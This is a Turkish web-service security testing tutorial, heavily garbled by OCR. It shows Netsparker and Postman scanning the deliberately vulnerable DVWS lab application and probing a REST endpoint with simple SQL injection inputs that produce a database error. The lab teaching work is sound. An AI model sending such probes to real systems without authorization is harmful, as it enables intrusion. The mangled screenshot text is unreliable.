| Database User Has A | in the standard mane | ASVS 4.0 5.3.4 | current scan and saved as Default Security |
| 1) Database Detected (| ••• | NIST SP 800-53 SI-10 | Ke to switch to the optimized policy? |
| Database Error Message Possible) Phishing by Navigatin | dous | DISA STIG 3.10.1 | Warning: It is strongly advised to restart your scan to keep your scan coverage at its best after the |
| source - Previous Settings | X Identified Database User | CVSS 3.0 SCORE | scan powcy is switched. Switch to Optimized Policy |
| T · D · O · C · Entertext to search | | Base 10 (Critical) | |
| §§ 192.168.0.37.80/dvies/ (192) Command Injection | | Temporal 10 (Critical) | |
| SQL Injection Out-of-date Version (Apache) | rootýlocalhost | Environmental 10 (Critical) | |
| Uut-of-date Version (OpenSSL) Out-of-date Version (PHP) | Identified Database Version | CVSS Vector String | |
| Cross-site Scripting [2] | | CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I: | |
| Pessword Transmitted over HTTP [Variations: . Possible] Password Transmitted over Query | 10.1.19-Marja08 | H/AH | |
| Out-of-date Version (Bootstrap) [Variations: 2] Out-of-date Version (JQuery) [Variations: 5] | | CVSS 3.1 SCORE | |
| Cookie Not Marked as HttpOnly [Variations: 3] | Vulnerability Details | Base 10 (Critical) | |
| internal server Elfor Possible) Cross-site Request Fordery (Variati) | Vaniciasing Scalis | Temporal 10 (Critical) | |
| Possible) Internal IP Address Disclosure (Vari. Possible) Phishing by Nevigating Browser Ta. | Netsparker identified an SQL Injection, which occurs when data input by a user is interpreted as an SQL command rather than as normal data by the backend database. | Environmental 10 (Critical) | |
| Possible) Windows Username Disclosure [Va. Anacha Michigan Enclosed Disclosure] Va. | Activity | * × | |
| Batabase Error Message Disclosure [Variation | Mathod Target Parameter Duration Current Activity Overall Activity | Status | |
| Detabase Name Disclosure (MySQL) Missing Content-Tune Header (Valiations 4) | | | |
| Missing X-Frame-Options Header (Variations. | 🖡 👗 Activity 🗠 Progress 🔟 Logs (28) | | 🐞 Knowledge Base (20) 💿 Netsparker Assistant (2)* |
| shooled Defected [2] | | | and a second s |

Yukarıdaki resimde birinci olarak

http://192.168.0.36/dvws/vulnerabilities/sqli/api.php/users/1

linkinin hiyerarşisinde açıklığın bulunduğu gösterilmektedir ve ikinci olarak açıklık bulgulama ekranında açıklığın bulunduğu parametrenin bir URL rewrite parametresi olduğu gösterilmektedir.

Bu şekilde Netsparker'da REST web servis taraması yapılabilir. Ayrıca WADL, Swagger gibi web servis tanımlama dosyaları ile arayüz / kapsam yükleyerek de taramalar gerçekleştirilebilir.

Not:

Eğer url rewrite kuralı girilmezse aynı tarama gerçekleştirildiğinde dizin ismi olarak yer alan 2 parametresi dizin ismi varsayılacağından denetlenmeyecektir ve sql injection zafiyeti tespit edilemeyecektir. Aşağıda url rewrite ile 2 parametresi işaretlemesi yapılmadan tarama yapıldığında sql enjeksiyonunun tespit edilemediği gösterilmiştir.

| n 📐 🗈 📕 🔸 | 192.168.0.37 - Netsynkre 5.02.30466 | <mark>2</mark> ♠ А – σ х |
|---|--|---|
| File Home View Reporting Help O Sea | uh | Sign-in to Enterprise - |
| | | |
| | | |
| New Schedule Incremental Schedule New Instance Incremental | Retest HawkCheck Import Exports Netsparker Scan Policy Report Policy Options All Enterprise Editor for A | |
| Start Scan | Post Scan Scan Session Tools | |
| Sitemap - Previous Settings | | 🕐 Netsparker Assistan 🏨 兴 |
| T = [m] = @ = [entercleret to search | | |
| Frocess.php FrestrictedExample.php Programming Error Message | | Maximum Signal Dismiss Ind Netsparker has detected that some of the visited URLs are heire method as method as forces. |
| iii serverpop iii tC > ■ hiddendir ✓ ■ spli ✓ ■ splipp ✓ ■ uses | | due to <u>Maximum Separature</u> setting in your current scan policy is exceeded. This means Netsparker has reached the maximum request limit made to the must exceed the set |
| 11 2 E | | URLs. |
| Database Error Message Disclo | | You can increase Maximum |
| > in sof | | Signature value in your Scan |
| v 🛅 wsdlenum | | your website utilizes a |
| functions.php | | parameter to navigate through paper. You can |
| Image: Service prip Image: Service prip Image: Service prip Image: Service prip Image: Service prip Image: Service prip Image: Service prip Image: Service prip Image: Service prip Image: Service prip Image: Service prip Image: Service prip Image: Service prip Image: Service prip Image: Service prip Image: Service prip Image: Service prip Image: Service prip Image: Service prip Image: Service prip Image: Service prip Image: Service prip Image: Service prip Image: Service prip Image: Service prip Image: Service prip Image: Service prip Image: Service prip Image: Service prip Image: Service prip Image: Service prip Image: Service prip Image: Service prip Image: Service prip Image: Service prip Image: Service prip Image: Service prip Image: Service prip Image: Service prip Image: Service prip Image: Service prip Image: Service prip Image: Service prip Image: Service prip Image: Service prip Image: Service prip Image: Service prip Image: Service prip Image: Service prip Image: Service prip Image: Service prip Image: Service prip Image: Service prip Image: Service prip Image: Service prip Image: Service prip Image: Service prip Image: Service prip Image: Service prip Image: Service prip Image: Service prip Image: Service prip< | | enable Parameter Based |
| Version Disclosure (NuSDAP) | | exclude requests made to the |
| Out-of-date Version (NuSOAP) | | navigation parameter from this limit. |
| Petr (value.one) | SQL Enjeksiyonu açıklığı tespit | |
| GET ?wsdl | edilemedi. | Increase Maximu Set up Parameter |
| PIST [No parameters] | | |
| Internal Server Error Issues - Previous Settings | | Scan Policy Optimized |
| T · [2] · Q · D · Fright to ward. | | Assistant has optimized your |
| - 192.168.0.37.80/dvws/ (206) | | scan poscy for the current scan and saved as Default |
| > () Command Injection | | Security Checks (Optimized |
| > Out-of-date Version (Apache) | | like to switch to the optimized |
| Out-of-date Version (OpenSSL) | | policy? |
| Cross-site Scripting [4] | | Warning: It is strongly advised |
| Password Transmitted over HTTP [Variations: 7] | | to restart your scan to keep your scan coverage at its best |
| > ML External Entity Injection | | after the scan policy is |
| Possible] Password Transmitted over Query String | | switched. |
| Out-of-date Version (Dootsrap) (Variations: 5) | | Switch to Optimized Policy |
| > 🏲 Cookie Not Marked as Http:Only [Variations: 3] | a dama | |
| > Minternal Server Error | | |
| Possible] Cross-site Request Forgery [Variations: 1 | | |
| Provide a structure of Address Discussive (Variation) | Scar Speed | |
| > 🎽 [Possible] Windows Username Disclosure [Variatio | | |
| > Apache MultiViews Enabled [Variations: 3] | | |
| Database Error Message Disclosure [Variations: 11] Database Name Disclosure (MA-SOL) | Scan Progress _100 (km, | |
| Missing X-Frame-Options Header [Variations: 11] | 22 | |
| > 🎽 phpinfo() Output Detected [4] | 🔗 Lanksi 1316 🥌 Falled Requests i 3 🔗 404 Responses 199 📰 Head Requests 13209 🥥 Total Requests 13440 🕲 Elapost 19.55/522 🖬 119.55 FM | |
| > Programming Error Message (Variations: 10) | Activity ~~ Progress III Logs (37) | 🍿 Knowledge 🌔 Netsparker |
| Scan and Confirmation finished. | Scan finidad 📓 Previous Settings - 🔟 Default Security Checks - 🔛 Default Report Policy - 🗽 🔒 4 📂 13 🎽 17 🗮 17 | 🕴 38 👔 58 🛄 Proxy: System |
| | | |

5.3.4 Postman Yazılımı

5.3.4.1 Postman ile SOAP Web Servis Testi

Bu uygulamada postman yazılımı aracılığıyla kasıtlı zafiyetler içeren dvws soap web servisinin güvenlik testine tabi tutulması uygulanacaktır.

Kullanılan Materyaller

| Ubuntu 18.04 LTS | // Fiziksel Makina |
|--------------------------------|------------------------------------|
| Postman | // Web Servis Güvenlik Testi Aracı |
| DVWS - Windows 10 Home Premium | // Zafiyetli Web Servisi VM |

Not: Ubuntu 18.04 LTS linux sisteme postman yazılımı kurulumu için bkz. <u>Postman</u> Yazılımını Linux (Ubuntu 18.04 LTS) Sisteme Kurma

Not 2: Kasıtlı zafiyetler içeren DVWS web servisi eski kaldığından sadece eski php versiyon 5.5.38'de uygulamaları düzgün çalışır durumdadır.

Not 3: DVWS kasıtlı zafiyetler içeren web uygulamasının Windows 10 Home Premium'a kurulumu için bkz. <u>EK > DVWS Web API'yi Windows'a (Windows 10 Home Premium Sürümüne) Kurma</u>.

Hedef güvenlik açıklıklı dvws web servisinin kapsam / arayüz dosyasını alalım.

| ctivities 👌 Google Chrome * | Pat 1600 + 注 4: 日 |
|---|--|
| 5 postman wadlimport-C × | 🖲 importing an API Pastni 🛪 🗿 Import Pails for WADL Fill 🗴 🔹 Download Postman Ceil 🛪 🌢 How to install Postman : X 🔺 127.0.0.1/dves/hulnetal: X 🛦 WSDL Enumeration — X + |
| ← → C △ ◎ 127.0.0.1/d. | ng/esheashiltes/endimm/ 💱 🗧 🗘 🛊 🖬 🕲 🛊 |
| B STORAGE B WARRAN | er 🖬 folden 🗃 folden Hilling 🔏 Holdensefter. 🕸 Briger Level C. Wilder Hilm. 🦉 Cardin 🎿 Selecter 🖉 Selecter Barter. |
| Home | |
| | WSDL Enumeration |
| Abox | Most SCAP services are deployed to process requests given by a user through a web application. In common scenarios, the WSDL IIe is not exposed to the public. However, If an attacker can access an application's WSD, IIe, he can try to enumerate |
| 5 Schup instructions | an a sin bok on instruction terminote band up or were approximately without the single |
| 1 PIP Information | |
| Vulnerabilities | More Information |
| • | this://www.seesau.org/index.php?fissing_WSU_100WSP+WS-042] this://www.seesau.org/index.php?VSU_2 |
| WSOC Entimension | The below form submits a value to be processed by the back-and SOAP service. Try to scar the WSDL the and look for other requests being processed by the SOAP service. Click here to view the WSDL of the application. |
| XMI. Bomb Denial-of Sorvice | Smartphone OS Market Share |
| XML External Entity Injection | Clos |
| XPATH Injection | Ominions Hone Cottes |
| 2 Command Injection | |
| Gross Site Tracing (XST) | _aum_ |
| Server Side Request Forgery | |
| REST APLISCI INCOM | |
| The External Party Interference | |
| Sinc Continue Decy hip Conta | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | i la |
| 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 | |
| ≡ service.xmt ^ | Show all X |
| ≣ service.xml ^ | Showal X |
| service.xml ^ | Showall X |
| service.xml ^ | 500 val X |
| service.xml. ^ | Sec 160 • |
| thickles ● Grogle Chrome • WSDL Financration × ← → C ① ▲ Not secure | X [sevel2 • 0 12.1.5.0 • 100 |
| thetes Google Chrome → © W50L Francestion × € → C ∩ A Not secure ■ mitoriedeater ■ mitoriedeater | × be ved? • 10 216456 11 (Voue |
| tivities Sciegle Chrome → Wildle Franceation × G Wildle Franceation × G → C Q A Not accore This XML (Be does not appear to have | Show all X © 152.166.56.111(dows m: x + 262.562.01 x 0 172.166.56.111(dows m: x + • • 0 172.166.56.111(dows m: x + • • 0 172.166.56.111(dows m: x + • • 0 172.166.56.111(dows m: x + • • 0 1 0 0 1 0 |
| thutes Gospie Chrome * | Second Via Control |
| service.ml ∧ Churter: Geogle Chrone * OutDR: The Mail Strains C → O A Mail Strains C → O A Mail Strains C → O A Mail Strains The Mail Mail Strains Strains The Mail Strains Strains ************************************ | Several × 20100000 conversion of the definition |
| Benvioumi ∧ Coopi Chones * Wold fearmentan × C → C ∧ A the second Monosema * Monosema | Served X 2023/06.6.11/0000 m: X + O C LOCA 2023/06.6.11/0000 m: X + O C LOCA 2023/06.6.11/0000 m: LOCA 2023/06.6.11/0000 m: LOCA 2023/06.6.11/0000 m: LOCA 2023/06.11 |
| Service.ml Google Chrone Google Chrone Model Francesco Model Francesco Model Francesco This XML for does not appear to the This XML for does not appear to the "order settings and the setting of the "order setting of the setting of the "order setting of the setting of the "order setting of the setting of the "order setting of the setting of the "order setting of the setting of the "order setting of the "ordef setting of the "order setting of the "ordef setting o | bened b |
| Service.ml Google Chrone MOLA Franceston Mola Fr | 100.100.0000 1 |
| Service.ml Source Constraints So | 500 with 1 600 with 1 0.000 with 1 |
| Benforzent Organization Organizio Organizio Organizatio Organizatio Organizatio | Store X 10110464111/0000 1 10110464111/0000 1 10110464111/0000 1 10110464111/0000 1 10110464111/0000 1 10110464111/0000 1 10110464111/0000 1 10110464111/0000 1 10110464111/0000 1 10110464111/0000 1 10110461111/0000 1 10110411111 1 10110411111 1 101104111111 1 10110411111111111111111111111111111111 |
| Coope Chemics Coope C | Several X 2012/16.6.0.110/000 pm: 2 + 0 + 0 + 0 + 0 + 0 + 0 + 0 + 0 + 0 + |
| Benviound Construction Model Channel Model Channel Model Channel Model Channel Model | Strend Note 1 * 100-104.04.011/00000000000000000000000000000 |
| Service.ml Coope Connect Coope Conn | Store PC 10010 Image: Store |
| Bervioum Coope Choose Coope | |
| Benform Cogle Cheese Cogle | 20.100.0 20.100.0 0.000 |
| Barkennel Construction Cons | |
| Benvice.ml Cooper Chemics Cooper Chemi | Bowell X 100.104.64.11(form:::::::::::::::::::::::::::::::::::: |
| Service.ml Coope Concert Coope Conc | PU-101.66.411()/Open.2 PU-101.6 Image: Imag |
| Bendoxmi Construction Const | Burnel No. 1000 1000 1000 |
| Service.ml Cogle Cheere Order Cheere Order Cheere Order Cheere Order Cheere Order Cheere Order Cheere Order Cheere Order Cheere Order Cheere Order Cheere Order Cheere Order Cheere Order Cheere Order Order Order Order Order Order Order | Constraints Constrain |
| Barkozani Construction Cons | |
| Benfactant Construction Con | Description 1 1 1 1 1 1 1 1 |
| | |
| Bendezand Construction Cons | Description The Mark All (All (All (All (All (All (All (All |
| Bardonami Construction Cons | PUID 10.0.0.0.00000000000000000000000000000 |
| Bandouxil Bandouxil Construction Constru | Statute Image: Statute 1000000000000000000000000000000000000 |
| | Automatic PL 1014 Image: District Control< |
| Bandouxil Construction Cons | |
| | Description PD: No.4.11 (bytes in the first in the |

SOAP web servisin ilgili url'ine giderek CTRL+S ile wsdl dosyasını diske kaydedelim. Ardından Postman yazılımı açılır.

Ubuntu 18.04 LTS Terminal:

> postman

Çıktı:

| File Edit View Help | | Postman | | | | ¢ | |
|--|-------|---|----------------------------------|-------------|--------|---------|-----|
| Home Workspaces ~ API Network ~ Explore | | Q Search Postman | A Invite | \$ ¢ | 0 | Upgrade | ~ |
| A My Workspace New Import | + *** | | | No Environn | ent | Ň | 13 |
| Celectors + ▼ Outcorters ↓ ↓ Celectors ↓ ↓ Mass Servers No of Pis yet AFIs celeme planed collectors and environments uccleater a collector and environments uccleater a collector and environments uccleater a collector and environments uccleater an AFI Create an AFI Create an AFI | | Person Provided Action Create a new request Create a new reques | rdew | | | | |
| EI O Online Q, Find and Replace EI Console | | & Cookies | ල් ^a Capture requests | € Bootcamp | Runner | 首 Trash | e Ø |

Postman yazılımında soap web servis kapsamı / arayüzü xml dosyası

My Workspace -> Import ->

seçeneğinden yüklenir.

| | | | | 000 |
|---|---|---|--|--------------|
| File Edit View Help | | | | |
| Home Workspaces ~ A | NPI Network 👻 Explore | Q. Search Postman | 🔀 Invite) 💿 🗘 🌀 U | pgrade 🛛 🗸 |
| 糸 My Workspace | New Import + ++++ | | No Environment | × 63 |
| Collectors + T | | | | |
| Arris Encourses Encourses Monto trevers Monto trevers Monton APIs definer Monton If Flows Monton Monton | Import File Folder Link Rawtext Code repositor | API Gateway OpenAPI GraphOL cURL WSDL NEW HAR NEW OR | × | |
| E O Online Q. Find and Response | Learn more about the different inport formats se | Upload Files |). Cookles y ⁰ Capture requests 10 Estature (C Rarver 1 | Trans HE (2) |

| | | | | a op | en |
|----------------------------|---------------------|---|--|--|----------------------|
| | | Image: Second se | | | |
| | | Name A | Size | Modifie | d |
| - 19 0 - 19 0 - 19 0 | G 📕 🗆 🕆 🖫 🖸 🕈 🖉 🖣 🖉 | Name | 4.3 kB 10.4 kB 566 bytes 163 bytes 372 bytes | Modifie 12 Haz 8 Ara 20 28 Haz 6 Eki 30 Haz 13 Nis Çrş 3 Mar 21 Nis Cum 10 Mar 25 Haz 23 Ara 23 Ara 20 Cum 7 Eki | d)21 |
| | | In the second seco | 60.6 kB 293 bytes 35 bytes 4.2 kB 80 bytes 1.5 kB 2.6 kB 98 bytes 7.0 kB 95.0 kB 12.7 kB | 7 Eki 7 Eki 13 Şubi 11 Haz 19 May 5 May 13 Şubi 16:02 7 Eki 3 Tem 25 Eki | 2018 2018 2018 |

| | | | | | | | | 00 |
|--|---|---|--------------------|------------------------------|------------|-------|------------|----|
| File Edit \ | view Help | | | | | | | |
| Home V | Norkspaces ~ API | Network ~ Explore | Q Search Postman | 7, invite | ¢ 4 | 6 | Upgrade | ~ |
| 옷 My Work | space | New Import + *** | | | No Enviror | sment | | 13 |
| Collections | + = | | | | | | | |
| 80 APIs | 4 | Import Select files to import - 1/1 selected | | | | | | |
| Environments | | NAME | FORMAT | IMPORT AS | | | | |
| 0 | | DVWA Web Service | WSDL 1.1 | API | | | | |
| Konhors atg From A History | NO APis addres re environments und Cre | Concrete collection free imported APIs Link this collection as Test Sale Show advanced settings | | Cancel Injury | | | | |
| E Online | Q Find and Replace | Console | | 🕲 Cookies 🛷 Capture requests | Bootcam | Runa | er 🗊 Trash | 8 |

Böylece kapsamdan / arayüzden gelen xml http talepler sol sütunda sıralanır.

| File Edit View Help | | | |
|--|---|----------------------|-------------|
| Home Workspaces ~ API Network ~ Explore | Q Search Postman 🤼 Invite | 🎄 4 📀 🗌 | Upgrade v |
| 🕺 My Workspace New Import + 🚥 | | No Environment | ~ 🗔 |
| Culture of And And And Honor Honor Henry Culture | PortWorkspaceOverview Create a new request: Email | | |
| E Online Q Find and Replace Console | 🚯 Cookies 🔥 Capture requests | 19 Bootcamp 🗈 Runner | 🗊 Trash 🖭 🕜 |

Bu xml http talepler kurcalanabilir ve kurcalanmış şekilde hedef web servise gönderilebilir.

| File Edit View He | ۱p | | Postman | | e | 908 |
|------------------------------|--|---|--|------------------|----------|-----|
| Home Workspac | es ~ API Network ~ Explore | | Q Search Postman | 🐥 Invite 🕸 🗘 🔕 | Upgrade | ~ |
| A My Workspace | New Import | POST return_price | + 000 | No Environment | ~ | 8 |
| Collections + = | | DVWA Web Service / retu | Irn_price | 🖺 Save 🗸 👓 | / E | III |
| ob < [] Otwa web service | POST ~ {{DVW | A Web Service PortBaseUrl}}/dvws-master/vulnera | abilities/wsdlenum/service.php | Send ~ | Ē | |
| | Params Authorization | Headers (10) Body • Pre-request Script | Tests Settings | Cookles | | |
| Environments | POST owasp_apitop10 | none form-data | x-www-form-urlencoded • raw • binary | ● GraphQL XML ✓ | Beautify | í |
| Mock Servers | Image: Servers > Post check_user_Information Mock Servers > Post population Image: Servers > Post population Image: Servers > Post population Image: Servers > Post population | | 1.0" encoding="ttf-8"?> xmlns:soap="http://schemas.xmlsoap.org/ iceRequest> riceRequest> 3 | soap/envelope/"> | T | :6: |
| | | Response | Image: A state of the state of | response | ~ | |

| File Edit View Help | | | | | | |
|---|---|---|--|--|-----|--|
| Home Workspaces ~ API Network ~ Explore | | Q Search Postman | 🐥 Invite 🔯 🗘 | G Upgrade | ~ | |
| O My Workspace New Import Impor | POST return_price | + 000 | No Environ | nent ~ | 8 | |
| Collections H T | DVWA Web Service / ret | urn_price | 🖺 Save 🗸 | ••• | Ð | |
| OVWA Web Service V [[] draft V [] DVWA Web Service | POST ~ {{DVV | VA Web Service PortBaseUrl}}/dvws-master/vulr | erabilities/wsdienum/service.php | Send ~ | Ę | |
| Environments > POST return_price | Params Authorization none form-data | Params Authorization Headers (10) Body Pre-request Script Tests Settings Cr onone form-data x-www-form-urlencoded eraw binary GraphOL XML \vicessingsing Badyset | | | | |
| Image: Mock Servers > POST check_user_information Monitors > POST population Image: Monitors Monitors Monitors Image: Monitors Image: Monitors Image: Monitors Image: Monitors Image: Monitors Image: Monitors Image: Monitors Image: Monitors Image: Monitors Image: Monitors Image: Monitors Image: Monitors Image: Monitors Image: Monitors Image: Monitors Image: Monitors Image: Monitors Image: Monitors Image: Monitors Image: Monitors Image: Monitors Image: Monitors Image: Monitors Image: Monitors Image: Monitors Image: Monitors Image: Monitors Image: Monitors Image: Monitors Image: Monitors Image: Monitors Image: Monitors Image: Monitors Image: Monitors Image: Monitors Image: Monitors Image: Monitors Image: Monitors Image: Monitors Image: Monitors Image: Monitors Image: Monitors Image: Monitors Image: Monitors Image: Monitors Image: Monitors Image: Monitors Image: Monitors Image: Monitors Image: Monitors Image: Monitors Image: Monitors Image: Monitors Image: Monitors< | 1 xml version=<br 2 <soap:envelope 3 <soap:boyos 4 <soap:boyos 5 <soap:boyos 7 <9</soap:boyos </soap:boyos </soap:boyos </soap:envelope | <pre>*1.0* encoding=*utf-8*?> xmlns:scap=*http://schemas.xmlscap.or iceRequest> ndows Phoneg/nameg riceRequest> e></pre> | g/soap/envelope/*> | Т | :@: | |
| History | Body Cookies Headers Pretty Raw Pre 1 ??xml version= 2 <soap-env:enve:< td=""> xml.scisoAP xml.scisoAP XMLScheam xml.scisoAP 4 <cnsi:< td=""> 5 <cr< td=""> 6 7 7 8 <cr> 2</cr></cr<></cnsi:<></soap-env:enve:<> | (8) Test Results View Visualize XML ~ = *1.0" encoding="ISO-8859-1*78 lope SOAP-ENV:encodingStyle="http://sc ENV="http://schemas.xmlsop.org/soap/ xmls:xi="http://www.w3.org/2001/ g/soap/encoding/"> Body> etum.priceResponse xmls.ms1=http:// turn.xsi:type="xsd:float">>2.6 return.priceResponse xmls.ms1=http:// etum.priceResponse xmls.ms1=http:// eturn.priceResponse xmls.ms1=http:// eturn.priceResponse xmls.ms1=http:// eturn.priceResponse xmls.ms1=http:// >>.6 | <pre>200 OK 19 ms 842 3 hemas.vsisoap.org/soap/encoding/* enve/orpe/* xmlns:xsd="http://www.m3.oi Sofemas.instance" xmlns:SOAP-ENC="http://www.m3.oi schemas.xmlsoap.org/soap/envelope/">></pre> | s Save Response ~ Q :g/2001/ //schemas. | | |

Bu şekilde sıralanmış tanımlı xml http taleplerindeki parametreler kurcalanarak hedef web servise gönderilebilir ve gelen yanıtlar izlenip açıklık aranabilir.

5.3.4.2 Postman ile REST Web Servis Testi

Bu uygulamada postman yazılımı aracılığıyla kasıtlı zafiyetler içeren dvws rest web servisinin güvenlik testine tabi tutulması uygulanacaktır.

Kullanılan Materyaller

| Ubuntu 18.04 LTS | // Fiziksel Makina |
|--------------------------------|------------------------------------|
| Postman | // Web Servis Güvenlik Testi Aracı |
| DVWS - Windows 10 Home Premium | // Zafiyetli Web Servisi VM |

Not: Ubuntu 18.04 LTS linux sisteme postman yazılımı kurulumu için bkz. <u>Postman</u> Yazılımını Linux (Ubuntu 18.04 LTS) Sisteme Kurma

Not 2: Kasıtlı zafiyetler içeren DVWS web servisi eski kaldığından sadece eski php versiyon 5.5.38'de uygulamaları düzgün çalışır durumdadır.

Not 3: DVWS kasıtlı zafiyetler içeren web uygulamasının Windows 10 Home Premium'a kurulumu için bkz. <u>EK > DVWS Web API'yi Windows'a (Windows 10 Home Premium Sürümüne) Kurma</u>.

Uyarı: Demoda kullanılacak DVWS web servisinin sql enjeksiyonu açıklığına sahip rest api endpoint'inde (uç noktasında) bug (hata) mevcuttur. Hata "No Database Selected" şeklinde ekrana gelmektedir. Hatanın (bug'ın) kaynak kodda düzenlemeler yaparak giderilmesi için bkz. <u>DVWS SQLi Açıklıklı Rest API Uç Noktasındaki Hatanın (Bug'ın)</u> <u>Giderilmesi</u>.

Burpsuite demosunda olduğu gibi bu demoda da dvws web servisindeki ilgili sayfaya bir göz atalım.

| uctivities 🧐 Google Chrome 👻 | Paz 1541+ 🛛 🛫 4, 🔒 |
|--------------------------------|--|
| REST API SQL Injection | × + |
| | ure 192.168.0.30/d/ws-master/nulnerabilities/sqli/ 🖏 🗧 🗘 🔅 🚺 🥥 |
| B terr triple: B terrs t | algár 🐘 taltaí 🐘 mítarfiliar 🧃 tachanfiar. 🔮 tága beili († frihartán). 🦉 nallój 🔮 taltártaltan. 🔮 normytan. 🔮 normytan. |
| Home | REST API SOL Injection |
| About. | SQL injection is a security valuerability in which an attacker is able to submit a database SQL command that is executed by a web application, exposing the back-end database. A SQL injection attack can occur when a web application utilizes user- |
| Setup instructions | supplied data without proper validation or encoding as part of a command or query. |
| PHP Information | NORE, IL UNE RES 1 APT IS EXHIBITED CHARGE IN CONTECT IN THE SAMPLESS. IN PROC. INTER INTERINAL PROC. INTERVIENT PROC. INTERVIENT PROC. IN |
| Vulnerabilities | More Information |
| WSDL Enumeration | this interview on a pay for the synthesis of the second seco |
| XML Bomb Denial-of-Service | The following REST service is vulnerable to SQL injection. This REST Service retrives a user based on ID |
| XML External Entity Processing | No dialabase selected |
| XPATH Injection | PESTADI URI - Monoto diversibilite datali in the harenza? |
| Command Injection | |
| Cross Site Tracing (XST) | |
| Server Side Request Forgery | |
| REST API SQL Injection | |
| XML External Entity Processing | |
| JWT Secret Key Brute Force | |
| Same Origin Method Execution | |
| Cross-Origin Resource Sharing | |
| | |
| | |
| 2 | |
| | |
| | |
| : | |

DVWS Web Servisindeki REST Web Servisi Kısmı

Gösterilen rest web servise ait URL üzerinden gidildiğinde URL'deki parametreye verilen değere göre arkada veritabanından çekilen veri json formatında getirilmektedir.



REST Web Servis URL Parametresi 2 iken Gelen Veri



Rest Web Servis URL Parametresi 3 iken Gelen Veri

DVWS'nin bu ders sayfası ekranında rest web servise ait url'deki 2 parametresinde sql enjeksiyonu açıklığı sunulmaktadır.

Şimdi Postman yazılımı ile bu rest web servisi test edelim ve sql enjeksiyonu açıklığını tespit edelim. Bunun için elimizdeki endpoint'i (yani kapsamı) Postman yazılımına verelim.

| File Edit View Help | Postman | | 000 |
|---|--------------------------------|--------------------|---------------|
| Home Workspaces V API Network V Explore | Q. Search Postman | 🔹 4 📀 | Upgrade 🗸 |
| 🖒 My Workspace New Import + 🚥 | | No Environment | ~ E3 |
| Collections > DWWA Web Service | | | |
| ති APis | | | |
| Environments | | | |
| C Mack Servers | | | |
| Er: Monitors | | | |
| er ⁶ 0 Flows | | | |
| - 45) History | | | |
| | Open Workspace Overview | | |
| | Create a new request: | | |
| | en 20 \$ | | |
| | | | |
| | | | |
| E O Online Q, Find and Replace Console | 🖏 Cookies 🛛 🗞 Capture requests | 😌 Bootcamp 🕒 Runne | r 🗄 Trash 🗄 🔘 |





| File Edit V | /iew Help | | | | | | | | _ |
|---|--------------------------|---------------|---|--|-----------------------------------|---------------|---------------|------------|-------------------|
| Home W | /orkspaces ~ API Netwo | ork ~ Explore | | Q Search Po | stman | A Invite | s 4 📀 | Upgrade | ~ |
| A My Work | space | New Import | GET http://192.168.0.31/dvv ● | + *** | | No | Environment | v | E |
| Collections | + = | | http://192.168.0.31/dvws-n | naster/vulnerabilities/se | ll/api.php/users/2 | 2 | j Save ∨ | / E | $\langle \rangle$ |
| 00 APIs | DVWA Web Service | | GET v http://1 | GET v http://192.168.0.31/dvws-master/vulnerabilities/sqll/apl.php/users/2 | | | | | 0 |
| ©. Environments | | | Params Authorization | Headers (6) Body | Pre-request Script Tests Settings | | | Cookles | |
| | | | KEY | | VALUE | DESCRIPTION | - | Bulk Edit | |
| Mock Servers | | | Key | | Value | Description | | | |
| Monitors of ^D Flows History | | | Body Cockies Headers (7 | 7) Test Results | ¢ |) 200 OK 16 m | s 284 B Save | Response ~ | |
| | | | Pretty Raw Provi 1 2 {"first_name":"0 | iew Visualize i | fTML ∨ === "Biteen"} | | | GΩ | |
| | O End and Benjace D Cons | sole | | | Cookies of Cantum | requests 🔗 Ro | otcamp 🕞 Bung | er 🏦 Trash | R C |

Rest Web Servis Endpoint URL'si Postman'e Verilir

2 parametresindeki değere göre json yanıt gelmektedir. 2 parametresine bir sql keyword ifadesi girelim ve girilen sql ifadesi çalışıyor mu test edelim.

Girilen Zararlı (Payload): '

| File Edit \ | View Help | | | Postman | | | | (| ••• |
|---|---------------------------|---------------|-------------------------------|---------------------------|--------------------------|---------------------------------|------------------|--------------|-----|
| Home V | Workspaces ~ API Netwo | ork ~ Explore | | Q Search Po | stman | 🖧 Invite | © 4 © | Upgrade | ~ |
| | space | New Import | GET http://192.168.0.31/dvv ● | + 000 | | | No Environment | ~ | 5 |
| Collections | + = | | http://192.168.0.31/dvws- | master/vulnerabilities/so | ll/apl.php/users/ | | 🖺 Save 🗸 | / E | |
| So APIs | | | GET ~ http:// | | Send 🗸 | 101 | | | |
| | | | Params Authorization | Headers (6) Body | Pre-request Script Tests | settings | | Cookies | |
| Environments | | | Query Params | | VALUE | DECON | | Dulls Edit | |
| Mock Servers | | | Key | | Value | Descript | ion | Buik Eult | |
| An Monitors | | | | | | | | | |
| D[0 Cloud | | | | | | | | | |
| 4) | | | | | | | | | |
| History | | | Body Cookles Headers | Test Results | | 200 OK | 15 ms 391 B Sav | e Response 🗸 | |
| | | | Pretty Raw Pres | view Visualize i | ITML V 📅 | | | ΓO | |
| Monters Pross Pross Neterry Body Cookes Headors OF Test Results Pretry Row Preview Viscone HTML = 0 1 2 You have an error in your 50L syntax: check the manual that corresponds to your Mariad® server version for the right syntax to use near ''' at line 1 | ersion | | | | | | | | |
| | | | | | | | | | |
| E 🖸 Online | Q Find and Replace 🔂 Cons | ole | | | 🕓 Cookies | & ^b Capture requests | 😌 Bootcamp 🗈 Run | iner 📋 Trash | • |

Girilen Zararlı (Payload): 1

| | | | | Postman | | | | | (| 906 |
|--------------|---------------------------|----------------|--------------------------------------|--|-----------------------|------------------|-------------|---------|-----------|-----|
| File Edit Vi | iew Help | | | | | | | | | |
| Home W | lorkspaces 🗸 🛛 API Netw | vork v Explore | | Q Search Postman | | 🖓 Invite | \$ ¢ | 3 | Upgrade | ~ |
| A My Works | space | New Import | GET http://192.168.0.31/dvv ● | + | | | No Environm | ient | ~ | EB |
| Collections | + = | | http://192.168.0.31/dvws-1 | naster/vulnerabilities/sqli/api.php | /users/1 | | 🖺 Save | × (| / 🗉 | |
| oo APis | > DVWA Web Service | | GET ~ http:// | GET v http://192.168.0.31/dvws-master/vulnerabilities/sqli/api.php/users/1 | | | | | nd 🗸 | :0: |
| Environments | | | Params Authorization Query Params | Headers (6) Body Pre-re | quest Script Tests Se | ettings | | | Cookles | |
| | | | KEY | VALUE | | DESCRI | PTION | 000 | Bulk Edit | |
| Mock Servers | | | Key | Value | | Descrip | tion | | | |
| Monitors | | | 2 | | | | | | | |
